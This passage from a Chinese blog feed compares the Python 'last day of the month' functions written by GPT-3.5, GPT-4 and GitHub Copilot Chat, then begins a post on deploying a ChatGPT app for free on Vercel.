&lt;p&gt;GPT4.0 API 的回答思路其实和GPT3.5是类似的，同样是先获取下个月的第一天再减1天，只不过换了种方式实现，这次是直接将月份加1，天数设为第1天，另外还做了边界处理，如果当前是12月份，直接将年份加1，避免了bug出现， 这份代码没什么毛病。只是看起来代码量多了点。&lt;/p&gt;
&lt;p&gt;结论：无bug，但代码量偏多&lt;/p&gt;
&lt;p&gt;官方GPT3.5回答&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;下面是一个使用Python实现的函数&lt;/span&gt;&lt;span class="err"&gt;，&lt;/span&gt;&lt;span class="n"&gt;根据指定时间计算当月最后一天&lt;/span&gt;&lt;span class="err"&gt;，&lt;/span&gt;&lt;span class="n"&gt;并返回结果为datetime类型&lt;/span&gt;&lt;span class="err"&gt;：&lt;/span&gt;


&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;datetime&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;datetime&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;timedelta&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;calendar&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get_last_day_of_month&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;date&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="c1"&gt;# 获取当前日期的年份和月份&lt;/span&gt;
    &lt;span class="n"&gt;year&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;date&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;year&lt;/span&gt;
    &lt;span class="n"&gt;month&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;date&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;month&lt;/span&gt;

    &lt;span class="c1"&gt;# 获取当月的天数&lt;/span&gt;
    &lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;last_day&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;calendar&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;monthrange&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;year&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;month&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# 构建最后一天的日期&lt;/span&gt;
    &lt;span class="n"&gt;last_day_date&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;datetime&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;year&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;month&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;last_day&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;last_day_date&lt;/span&gt;
&lt;span class="n"&gt;你可以调用这个函数并传入一个datetime类型的日期作为参数&lt;/span&gt;&lt;span class="err"&gt;，&lt;/span&gt;&lt;span class="n"&gt;它将返回该日期所在月份的最后一天&lt;/span&gt;&lt;span class="err"&gt;。&lt;/span&gt;&lt;span class="n"&gt;例如&lt;/span&gt;&lt;span class="err"&gt;：&lt;/span&gt;


&lt;span class="n"&gt;date&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;datetime&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2023&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;last_day&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;get_last_day_of_month&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;date&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;last_day&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# 输出：2023-06-30 00:00:00&lt;/span&gt;
&lt;span class="n"&gt;这将返回datetime&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2023&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="err"&gt;，&lt;/span&gt;&lt;span class="n"&gt;表示2023年6月的最后一天&lt;/span&gt;&lt;span class="err"&gt;。&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;官方的GPT3.5 用到了calendar模块下的一个函数 &lt;code&gt;monthrange&lt;/code&gt;， 这个函数怎么用它并没有做过多解释，其实这个函数会根据月份返回两个值（元组），第一个值是这个月第一天是星期几，第二个值是这个月份的天数。  这个月份天数就很容易计算当月最后一天了。&lt;/p&gt;
&lt;p&gt;官方GPT4.0回答&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;在Python中&lt;/span&gt;&lt;span class="err"&gt;，&lt;/span&gt;&lt;span class="n"&gt;可以使用calendar模块的monthrange&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="n"&gt;函数来获取一个月的最后一天&lt;/span&gt;&lt;span class="err"&gt;。&lt;/span&gt;&lt;span class="n"&gt;这个函数返回一个包含两个元素的元组&lt;/span&gt;&lt;span class="err"&gt;，&lt;/span&gt;&lt;span class="n"&gt;第一个元素是指定月份第一天的星期&lt;/span&gt;&lt;span class="err"&gt;（&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="n"&gt;表示星期一到星期日&lt;/span&gt;&lt;span class="err"&gt;），&lt;/span&gt;&lt;span class="n"&gt;第二个元素是指定月份的天数&lt;/span&gt;&lt;span class="err"&gt;。&lt;/span&gt;

&lt;span class="n"&gt;下面是一个函数的实现&lt;/span&gt;&lt;span class="err"&gt;，&lt;/span&gt;&lt;span class="n"&gt;该函数接受一个datetime对象作为参数&lt;/span&gt;&lt;span class="err"&gt;，&lt;/span&gt;&lt;span class="n"&gt;返回该月份的最后一天&lt;/span&gt;&lt;span class="err"&gt;：&lt;/span&gt;


&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;datetime&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;datetime&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;calendar&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;get_last_day_of_month&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;date&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;last_day&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;calendar&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;monthrange&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;date&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;year&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;date&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;month&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;datetime&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;date&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;year&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;date&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;month&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;last_day&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# 测试&lt;/span&gt;
&lt;span class="n"&gt;date&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;datetime&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;now&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;get_last_day_of_month&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;date&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="n"&gt;请注意&lt;/span&gt;&lt;span class="err"&gt;，&lt;/span&gt;&lt;span class="n"&gt;这个函数返回的日期是月份的最后一天&lt;/span&gt;&lt;span class="err"&gt;，&lt;/span&gt;&lt;span class="n"&gt;但是时间部分与传入的日期相同&lt;/span&gt;&lt;span class="err"&gt;。&lt;/span&gt;&lt;span class="n"&gt;如果你希望最后一天的时间部分是23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;59&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;59&lt;/span&gt;&lt;span class="err"&gt;，&lt;/span&gt;&lt;span class="n"&gt;你可以修改函数如下&lt;/span&gt;&lt;span class="err"&gt;：&lt;/span&gt;


&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;datetime&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;datetime&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;time&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;calendar&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;get_last_day_of_month&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;date&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;last_day&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;calendar&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;monthrange&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;date&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;year&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;date&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;month&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;datetime&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;combine&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;datetime&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;date&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;year&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;date&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;month&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;last_day&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;59&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;59&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

&lt;span class="c1"&gt;# 测试&lt;/span&gt;
&lt;span class="n"&gt;date&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;datetime&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;now&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;get_last_day_of_month&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;date&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;官方4.0的实现其实和3.5是一样的，但是，这个回答更贴心，比如这里给你介绍了monthrange函数的作用，如果我是第一次使用这个函数，我还要去查一下API是怎么使用的，这里它直接给你介绍了，另外，考虑到你可能还有其他需求，它也一并给了你解决方法，提前预测你的需求，牛得一批。&lt;/p&gt;
&lt;p&gt;GitHub Copilot Chat的回答&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;计算当月最后一天的方法与计算当月第一天类似&lt;/span&gt;&lt;span class="err"&gt;，&lt;/span&gt;&lt;span class="n"&gt;只需要将&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;day&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;参数设置为当月的最后一天即可&lt;/span&gt;&lt;span class="err"&gt;。&lt;/span&gt;&lt;span class="n"&gt;可以使用&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;calendar&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;模块来获取当月的最后一天&lt;/span&gt;&lt;span class="err"&gt;。&lt;/span&gt;

&lt;span class="n"&gt;以下是一个实现该功能的&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Python&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;函数&lt;/span&gt;&lt;span class="err"&gt;：&lt;/span&gt;

&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;datetime&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;datetime&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;calendar&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;get_last_day_of_month&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dt&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
&lt;span class="s2"&gt;    Calculate the last day of the month for a given datetime.&lt;/span&gt;

&lt;span class="s2"&gt;    Args:&lt;/span&gt;
&lt;span class="s2"&gt;        dt (datetime): The datetime to calculate the last day of the month for.&lt;/span&gt;

&lt;span class="s2"&gt;    Returns:&lt;/span&gt;
&lt;span class="s2"&gt;        datetime: The datetime representing the last day of the month.&lt;/span&gt;
&lt;span class="s2"&gt;    &amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;# Get the last day of the month for the given datetime&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;last_day&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;calendar&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;monthrange&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;year&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;month&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;# Create a datetime object for the last day of the month&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;datetime&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;year&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;month&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;last_day&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt;

&lt;span class="n"&gt;该函数接受一个&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;datetime&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;对象作为参数&lt;/span&gt;&lt;span class="err"&gt;，&lt;/span&gt;&lt;span class="n"&gt;然后使用&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;calendar&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;monthrange&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;函数获取当月的最后一天&lt;/span&gt;&lt;span class="err"&gt;。&lt;/span&gt;&lt;span class="n"&gt;该函数返回一个元组&lt;/span&gt;&lt;span class="err"&gt;，&lt;/span&gt;&lt;span class="n"&gt;其中第二个元素表示当月的最后一天&lt;/span&gt;&lt;span class="err"&gt;。&lt;/span&gt;&lt;span class="n"&gt;然后&lt;/span&gt;&lt;span class="err"&gt;，&lt;/span&gt;&lt;span class="n"&gt;使用&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;datetime&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;函数创建一个&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;datetime&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;对象&lt;/span&gt;&lt;span class="err"&gt;，&lt;/span&gt;&lt;span class="n"&gt;表示当月的最后一天&lt;/span&gt;&lt;span class="err"&gt;，&lt;/span&gt;&lt;span class="n"&gt;并返回该对象&lt;/span&gt;&lt;span class="err"&gt;。&lt;/span&gt;

&lt;span class="n"&gt;使用该函数的示例如下&lt;/span&gt;&lt;span class="err"&gt;：&lt;/span&gt;

&lt;span class="c1"&gt;# Create a datetime object for January 15th, 2022&lt;/span&gt;
&lt;span class="n"&gt;dt&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;datetime&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2022&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Calculate the last day of the month for the given datetime&lt;/span&gt;
&lt;span class="n"&gt;last_day&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;get_last_day_of_month&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dt&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Print the result&lt;/span&gt;
&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;last_day&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;# Output: 2022-01-31 00:00:00&lt;/span&gt;

&lt;span class="n"&gt;在这个示例中&lt;/span&gt;&lt;span class="err"&gt;，&lt;/span&gt;&lt;span class="n"&gt;我们创建了一个&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;datetime&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;对象&lt;/span&gt;&lt;span class="err"&gt;，&lt;/span&gt;&lt;span class="n"&gt;表示&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2022&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;年&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;月&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;日&lt;/span&gt;&lt;span class="err"&gt;。&lt;/span&gt;&lt;span class="n"&gt;然后&lt;/span&gt;&lt;span class="err"&gt;，&lt;/span&gt;&lt;span class="n"&gt;我们使用&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;get_last_day_of_month&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;函数计算了该日期所在月份的最后一天&lt;/span&gt;&lt;span class="err"&gt;，&lt;/span&gt;&lt;span class="n"&gt;并将结果存储在&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;last_day&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;变量中&lt;/span&gt;&lt;span class="err"&gt;。&lt;/span&gt;&lt;span class="n"&gt;最后&lt;/span&gt;&lt;span class="err"&gt;，&lt;/span&gt;&lt;span class="n"&gt;我们打印了&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;last_day&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;变量的值&lt;/span&gt;&lt;span class="err"&gt;，&lt;/span&gt;&lt;span class="n"&gt;输出结果为&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2022&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;01&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;31&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt;&lt;span class="err"&gt;。&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Copilot 的实现方案和官方的GPT4几乎是一样的，唯一不同之处是，Copilot 对代码的编写更规范，比如它给函数加上了文档注释，可读性会好些，考虑到Copilot 是GitHub出品的，写代码更强大更规范在情理之中。&lt;/p&gt;
&lt;p&gt;最后总结一下，对程序员写代码来说，GitHub Copilot Chat  最优， 官方GPT4次之，GPT4 API 第三，  GPT3 排第4，GPT3.5 API 最弱。&lt;/p&gt;
&lt;p&gt;考虑到官方GPT3.5 有时也会胡言乱语，大部分情况下，GPT4的 API 应该是要强于官方GPT3的。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230629004057239" src="../../images/image-20230629004057239.png"&gt;&lt;/p&gt;
&lt;p&gt;这里我只是让它写一个简单的函数作为测试，所以并非绝对权威，做这个实现的目的是粗概的了解下各个模型之间的表现和差距，希望对你有一定帮助。&lt;/p&gt;</content><category term="思考"/><category term="chatgpt"/></entry><entry><title>零成本部署一个ChatGPT应用</title><link href="https://foofish.net/deploy-chatgpt-app-free.html" rel="alternate"/><published>2023-06-28T23:00:01+08:00</published><updated>2023-06-28T23:00:01+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2023-06-28:/deploy-chatgpt-app-free.html</id><summary type="html">&lt;p&gt;用传统方法我们部署一个ChatGPT应用你要自己购买海外服务器，购买域名，自己去部署应用。硬性成本按照服务器500一年，域名100一年，ChatGPT的API费用除外，一年真金白银投入至少600以上。&lt;/p&gt;
&lt;p&gt;今天 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;用传统方法我们部署一个ChatGPT应用你要自己购买海外服务器，购买域名，自己去部署应用。硬性成本按照服务器500一年，域名100一年，ChatGPT的API费用除外，一年真金白银投入至少600以上。&lt;/p&gt;
&lt;p&gt;今天推荐个0成本搭建自己的chatgpt网站方案，用的是Vercel这个平台&lt;/p&gt;
&lt;h3&gt;vercel 是什么？&lt;/h3&gt;
&lt;p&gt;Vercel 是一个免费的网站托管平台，可以部署静态网站，也可以部署动态网站，主要优点：&lt;/p&gt;
&lt;ul&gt;
